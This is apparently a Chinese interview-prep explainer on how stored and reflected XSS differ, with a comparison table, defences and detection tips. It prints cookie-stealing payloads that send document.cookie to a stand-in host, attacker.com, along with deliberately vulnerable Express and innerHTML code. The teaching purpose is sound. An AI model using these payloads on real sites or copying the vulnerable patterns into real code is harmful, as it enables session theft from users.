存储型 XSS 和反射型 XSS 有什么区别？ - 面试题

答案

存储型 XSS（Stored XSS）和反射型 XSS（Reflected XSS）是两种最常见的 XSS 攻击类型，它们在攻击方式、危害程度和防护策略上有显著区别。

存储型 XSS（Stored XSS）

攻击原理： 存储型 XSS 也称为持久型 XSS（Persistent XSS）。攻击者将恶意脚本提交到目标服务器，服务器将恶意数据存储在数据库或其他持久化存储中。当其他用户访问包含这些恶意数据的页面时，服务器会将恶意脚本作为响应的一部分返回给浏览器，从而在用户的浏览器中执行。

攻击流程：

攻击者在可存储用户输入的地方（如评论区、论坛帖子、用户资料等）注入恶意脚本
服务器将恶意脚本存储在数据库中
当其他用户访问包含该恶意内容的页面时，服务器从数据库读取并返回恶意脚本
浏览器执行恶意脚本，造成攻击

攻击示例：

html
<!-- 攻击者在评论区提交 -->
<script>
  const stolenCookie = document.cookie;
  fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
</script>

特点：

持久性：恶意脚本永久存储在服务器上，直到被删除
自动传播：所有访问该页面的用户都会受到攻击
危害最大：攻击者不需要诱骗用户点击特定链接
攻击范围广：可以影响大量用户
难以发现：攻击可能在很长时间内不被发现

常见场景：

评论区、留言板
论坛帖子
用户个人资料（昵称、签名等）
客服聊天记录
邮件系统

反射型 XSS（Reflected XSS）

攻击原理： 反射型 XSS 也称为非持久型 XSS（Non-persistent XSS）。攻击者构造包含恶意脚本的 URL，诱骗用户点击。当用户访问该 URL 时，服务器接收请求参数，将恶意脚本"反射"回响应中，在用户的浏览器中执行。

攻击流程：

攻击者构造包含恶意脚本的 URL
攻击者通过钓鱼邮件、社交媒体等方式诱骗用户点击该 URL
用户点击链接，向服务器发送请求
服务器接收请求参数，将恶意脚本包含在响应中返回
浏览器执行恶意脚本，造成攻击

攻击示例：

shell
http://example.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

特点：

非持久性：恶意脚本不存储在服务器上，只存在于 URL 中
需要用户交互：必须诱骗用户点击恶意链接
攻击范围有限：只影响点击链接的用户
易于发现：URL 中的恶意脚本容易被发现
攻击时效短：一旦用户关闭页面，攻击结束

常见场景：

搜索功能
错误页面
表单提交后的反馈页面
重定向页面
登录页面

两者的详细对比

特性	存储型 XSS	反射型 XSS
持久性	持久，存储在服务器	非持久，只在 URL 中
攻击触发方式	用户访问受感染页面	用户点击恶意链接
攻击范围	所有访问该页面的用户	只有点击链接的用户
危害程度	高	中
攻击难度	中等（需要找到存储点）	低（只需找到反射点）
防护难度	高（需要严格的输入验证和输出编码）	中（主要依赖输出编码）
发现难度	难（可能在后台）	易（URL 可见）
社会工程学需求	低	高（需要诱骗用户）

实际代码示例

存储型 XSS 示例：

javascript
// 不安全的存储型 XSS 漏洞代码
app.post('/api/comments', (req, res) => {
  const { content } = req.body;
  // 直接存储用户输入，未进行任何验证或编码
  db.query('INSERT INTO comments (content) VALUES (?)', [content]);
  res.json({ success: true });
});

app.get('/api/comments', (req, res) => {
  const comments = db.query('SELECT content FROM comments');
  // 直接返回用户输入，未进行编码
  res.json(comments);
});

// 前端渲染
function renderComments() {
  fetch('/api/comments')
    .then(res => res.json())
    .then(comments => {
      comments.forEach(comment => {
        // 危险：使用 innerHTML 直接插入用户内容
        document.getElementById('comments').innerHTML += `<div>${comment.content}</div>`;
      });
    });
}

反射型 XSS 示例：

javascript
// 不安全的反射型 XSS 漏洞代码
app.get('/search', (req, res) => {
  const query = req.query.q;
  // 危险：直接将用户输入插入响应中
  res.send(`
    <html>
      <body>
        <h1>搜索结果：${query}</h1>
        <p>未找到相关结果</p>
      </body>
    </html>
  `);
});

防护策略

存储型 XSS 防护：

严格的输入验证

javascript
function sanitizeInput(input) {
  return input.replace(/[<>]/g, '');
}

输出编码

javascript
function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

使用安全的 API

javascript
// 不安全
element.innerHTML = userInput;

// 安全
element.textContent = userInput;

反射型 XSS 防护：

URL 参数验证和编码

javascript
app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>搜索结果：${query}</h1>`);
});

使用 Content Security Policy

shell
Content-Security-Policy: default-src 'self'; script-src 'self'

设置 HttpOnly Cookie

javascript
res.cookie('sessionId', sessionId, { httpOnly: true });

检测方法

存储型 XSS 检测：

在评论区提交测试脚本：<script>alert(1)</script>
访问该页面，检查是否弹出警告框
使用自动化工具扫描存储型 XSS 漏洞

反射型 XSS 检测：

在 URL 参数中注入测试脚本
检查响应中是否包含未编码的脚本
使用浏览器开发者工具检查响应内容

总结

存储型 XSS 和反射型 XSS 虽然都是 XSS 攻击，但它们的攻击方式、危害程度和防护策略有很大不同。存储型 XSS 危害更大，因为它可以自动传播并影响大量用户，而反射型 XSS 需要社会工程学手段诱骗用户点击链接。在实际开发中，应该对所有用户输入进行严格的验证和编码，使用安全的 API，并实施多层防护策略来防止这两种类型的 XSS 攻击。